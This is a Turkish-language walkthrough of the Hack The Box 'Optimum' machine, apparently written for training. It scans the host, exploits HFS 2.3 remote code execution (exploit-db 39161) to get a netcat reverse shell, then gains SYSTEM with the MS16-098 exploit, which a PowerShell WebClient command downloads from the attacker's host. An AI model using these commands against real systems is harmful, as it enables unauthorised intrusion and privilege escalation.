Hack The Box — Optimum
Port Tarama
İlk olarak hedef sistem üzerinde full port taraması gerçekleştirilir.
Full Port Tarama
nmap -p- — open -vvv -oN fullportscan 10.10.10.8
Açık olan port;
80/tcp
**Bu aşamada ek olarak UDP taraması da gerçekleştirilmiştir ancak herhangi bir açık port tespit edilememiştir.**
Ardından açık olduğu tespit edilen port üzerinde versiyon ve script taraması gerçekleştirilir.
Versiyon Tarama
nmap -p 80 -vvv -sV -sC -oN versionscan 10.10.10.8
Bilgi Toplama
Port 80
İlgili adresi tarayıcı üzerinden ziyaret edildiğinde aşağıda ekran görüntüsü verilen sayfa ile karşılaşılmaktadır. Sayfa ve sayfaya ait kaynak kod incelendiğinde “Rejetto” ya ait olduğu ve diğer adıyla HFS, dosyaları yayınlamak ve paylaşmak için özel olarak tasarlanmış ücretsiz bir web sunucusu olduğu tespit edilmiştirr.
Ekstra bilgi için aşağıdaki link incelenebilir.
Söz konusu dosya paylaşım yazılımının adı ve versiyonu ise daha önce nmap taramalarında da tespit ettiğimiz şekilde “HttpFileServer httpd 2.3” dür.
Ardından aşağıda ekran görüntüsünde verildiği şekilde söz konusu dosya paylaşım yazılımının ilgili versiyonuna ait Google üzerinden exploit araştırması gerçekleştirilmiştir.
site:exploit-db.com “HFS 2.3”
Gerçekleştirilen araştırmada söz konusu dosya paylaşım yazılımı üzerinde hedef sistemde uzaktan kod çalıştırmamızı sağlayacak exploitler bulunduğu tespit gözlemlenmiştir. Yukarıda ekran görüntüsünde verilmiş ilk exploite gidilerek kod incelenmiştir.
Söz konusu istismar koduna ait link aşağıda verilmiştir.
İstismar kodunu açarak incelediğimizde kullanımı ve dikkat edilmesi gereken noktanın olarak not düşüldüğü gözlemlenmiş ve bunlar aşağıdaki ekran görüntüsünde işaretli olarak verilmiştir.
Ardından ilgili exploit aşağıdaki komut ile saldırgan sisteme indirilmiştir.
wget https://www.exploit-db.com/raw/39161
Exploit kodunu çalıştırabilmek için ilk olarak ilgili exploit kodu içerisinde aşağıda ekran görüntüsünde belirtilen değerler (ip_addr, local_port) düzenlenmiştir.
Ardından ilgili exploiti çalıştırmak için öncelikle yukarıdaki ekran görüntüsünde işaretlenilen notta belirtildiği üzere; saldırgan sistem üzerinde yürütülebilir bir “netcat” dosyası barındıran dizinde HTTP sunucu başlatılması gerekmektedir.
Bunun için aşağıda verilen adımlar izlenerek bulunulan dizin altına “nc.exe” dosyası kopyalanmıştır.
locate nc.execp /user/share/windows-binaries/nc.exe .ls -l
Zafiyetin İstismarı
Bu aşamada “nc.exe” yi kopyaladığımız dizin üzerinde python ile HTTP sunucu başlatılmış, hedef sistem dinlenmeye başlanmış ve exploit çalıştırılarak hedef sistem üzerinde oturum elde edilmiştir.
Bunun için aşağıdaki adımlar takip edilebilir.
python -m SimpleHTTPServer 80nc -lvp 9090python 39161.py 10.10.10.8 80
Hedef sistem üzerinden oturum elde edilmesi ve “user.txt.txt” dosyasının içeriğinin okunmasına ait ekran görüntüsü aşağıda verilmiştir.
type user.txt.txt
Ek bilgi olarak zafiyete ait Metasploit modülü aşağıdaki gibidir.
exploit/windows/http/rejetto_hfs_exec
Yetki Yükseltme
Yetki yüksetlme aşamasında hedef sistem üzerinde ilk olarak çalıştırdığımız komut “systeminfo” komutudur.
İlgili komuta ait çıktı aşağıdaki ekran görüntüsünde verilmiştir.
Söz konusu komuta ait çıktıyı incelediğimizde hedef sistemin “Microsoft Windows Server 2012 R2” işletim sistemine ve “x64” sistem tipine sahip olduğu tespit edilmiştir. Ayrıca ilgili işletim sistemi üzerinde 31 adet yamanın geçilmiş olduğu da gözlemlenmektedir. Bu detay göz önünde bulundurularak geçilmemiş herhangi bir yamanın var olup olmadığını tespit etmek adına bu aşamada hedef sistem üzerinde yama eksikliklerinden kaynaklanan güvenlik açıklıkları incelenmiştir. Bunun için aşağıda link olarak detayı verilen “Windows-Exploit-Suggester” aracı kullanılmıştır.
İlgili aracı henüz indirmediyseniz sisteminize aşağıdaki adımları takip ederek indirebilir ve bağımlılıklarını kurabilirsiniz.
git clone https://github.com/GDSSecurity/Windows-Exploit-Suggester.gitpip install xlrd — upgrade
Aracı daha önce indirdiyseniz ve yama listesini güncellemek istiyorsanız aşağıdaki komutu çalıştırmanız yeterli olacaktır.
./windows-exploit-suggester.py — update
Söz konusu araç ile hedef sistem üzerindeki yama eksikliklerinden kaynaklı taramayı gerçekleştirebilmemiz için bizden iki parametre istenmektedir.
Bunlar;
- database: Güncel yama listesi
- systeminfo: Hedef sisteme ait “systeminfo” çıktısı
parametreleridir.
İlgili parametreleri sağlayarak aşağıda detayları verildiği şekilde tarama gerçekleştirilir.
./windows-exploit-suggester.py — database 2020–03–29-mssb.xls — systeminfo sysinfo.txt
Yukarıdaki ekran görüntüsünde görüldüğü üzere söz konusu hedef sistem üzerinde yama eksikliğinden kaynaklanan birden fazla güvenlik açıklığı bulunmaktadır. Bu makalede bu açıklıklardan biri olan “MS16–098” açıklığı istismar edilerek sistem üzerinde “nt authority\system” hakları elde edilecektir.
Söz konusu exploit Google üzerinden araştırıldığında aşağıda adresi verilen repoda derlenmiş halinin bulunduğu tespit edilmiştir.
İlk olarak ilgili exploit saldırgan sisteme indirilir.
wget https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-098/bfill.exe
Ardından öncelikli olarak python ile HTTP sunucu başlatılır ve powershell kullanarak hedef makineye “bfill.exe” dosyası yüklenir.
powershell -c “(new-object System.Net.WebClient).DownloadFile(‘http://10.10.14.34:9080/bfill.exe', ‘C:\Users\kostas\Desktop\bfill.exe’)”
Hedef sistem üzerinden “bfill.exe” exploitinin çalıştırılarak “nt authority\system” haklarında oturum elde edilmesine ait ekran görüntüsü aşağıda verilmiştir.
bfill.exewhoami
Son olarak “root.txt” dosyasının tespitine ait ekran görüntüsü aşağıda verilmiştir.
dir C:\ /s/b | find /i “root.txt”
💃🥂